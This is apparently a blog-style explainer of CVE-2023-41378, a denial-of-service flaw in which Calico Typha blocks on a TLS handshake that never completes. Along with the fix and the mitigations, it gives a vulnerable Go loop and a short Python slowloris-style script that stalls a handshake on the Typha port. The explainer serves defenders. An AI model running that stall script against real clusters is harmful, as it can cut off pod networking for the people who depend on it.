Calico is a widely used networking and security solution in Kubernetes environments. Typha is Calico’s component that helps Kubernetes scales by reducing the load on the datastore. But in late 2023, a troubling vulnerability—CVE-2023-41378—was found that could cripple these core network functions with a simple trick: starting, but not finishing, a secure connection.

Let’s break down how this works, see some example code, show you what the risk is, and share resources to keep your Kubernetes clusters secure.

Calico Enterprise Typha: <= v3.17.1, <= v3.16.3, <= v3.15.3

...the server handles incoming client connections over TLS (the technology that powers HTTPS) _inside its main event-processing loop_. But there’s a missing guardrail: there’s no timeout on the TLS handshake. If a client starts a handshake but never finishes it, the main loop is blocked—and nobody else can get service.

The result? One bad connection can paralyze Typha. Since Typha provides state to Calico agents, this can cascade into a larger system outage—a textbook Denial of Service (DoS).

Here’s a breakdown of the exploit in simple terms

1. The attacker connects: They open a TCP connection to the Typha server's listening port (typically TLS).
2. They start the TLS handshake: They begin, but do not finish, the TLS handshake (maybe by sending part of the handshake or just stalling).
3. The handshake stalls: The server sits forever waiting for the handshake to finish, but the attacker never completes it.
4. Main loop is blocked: Because Typha processes the handshake in its main loop without a timeout, all other connections get stuck waiting.
5. DoS achieved: New and existing clients are now blocked, potentially causing serious cluster/network disruption.

Here’s a Go code snippet that represents the heart of the vulnerable logic

for {
    conn, err := listener.Accept()
    if err != nil {
        log.Println("Failed to accept connection:", err)
        continue
    }
    tlsConn := tls.Server(conn, tlsConfig)
    // Vulnerability: Handshake() has no timeout!
    err = tlsConn.Handshake()
    if err != nil {
        log.Println("TLS handshake failed:", err)
        conn.Close()
        continue
    }
    // Proceed with real work...
}

The key issue? If tlsConn.Handshake() stalls (e.g., because a malicious client never finishes), the whole loop hangs. No new clients get served!

How to Exploit in Practice?

Let’s say you’re an attacker with access to the Typha port. You open a socket and begin (but don’t finish) a TLS handshake:

# Slowloris for Typha in Python (simple example)
import socket
import time

sock = socket.socket()
sock.connect(('typha-service', 5473))  # Use the Typha port

# Send only the start of a TLS handshake (e.g., ClientHello)
sock.send(b'\x16\x03\x01\x00\x20' + b'...')
# Now SLEEP, keeping connection open, but never finishing the handshake
time.sleep(600)  # 10 minutes = DoS!

# The server is stuck! All other clients will be blocked.

Repeat this with a few connections and you can reliably block Typha with minimal resources.

Why is This So Serious?

- Single-client DoS: Unlike floods or massive botnets, just one stuck connection can jam the system.
- Breaks cluster networking: Calico agents rely on Typha, so blocking it can make pods unreachable or kill service discovery.

How was it Fixed?

Later versions of Typha introduced a fix: handshake timeouts.

Example patch (paraphrased Go)

tlsConn.SetDeadline(time.Now().Add(10 * time.Second))
// Now the handshake will timeout after 10 seconds.
err = tlsConn.Handshake()
if err != nil { /* ... */ }

This change ensures that if a client takes too long to finish the handshake, the server will close the connection and move on—no DoS!

- CVE-2023-41378 on NVD (official)
- Calico Security Advisory
- Typha Source Code (GitHub)
- Typha Changelog / Release Notes
- Calico Enterprise Download & Security Notices

Calico Enterprise Typha v3.17.2, v3.16.4, v3.15.4 or later

3. Restrict access to Typha’s port (e.g., via network policies or firewall) so only authorized Calico agents can connect.

Summary

The CVE-2023-41378 bug was a simple but severe mistake: letting one stuck TLS handshake freeze Typha for all clients. It took just one bad connection to trigger a denial-of-service, stopping Kubernetes networking in its tracks. The fix—adding a simple timeout—shows how high the stakes are for little details in secure coding.

Patch your Typha servers. Guard your cluster. Don’t let a handshake become a handbrake!

If you found this post insightful, check the official Calico advisory and always keep networking middleware patched and protected.

Timeline

Published on: 11/06/2023 16:15:42 UTC
Last modified on: 11/14/2023 17:48:01 UTC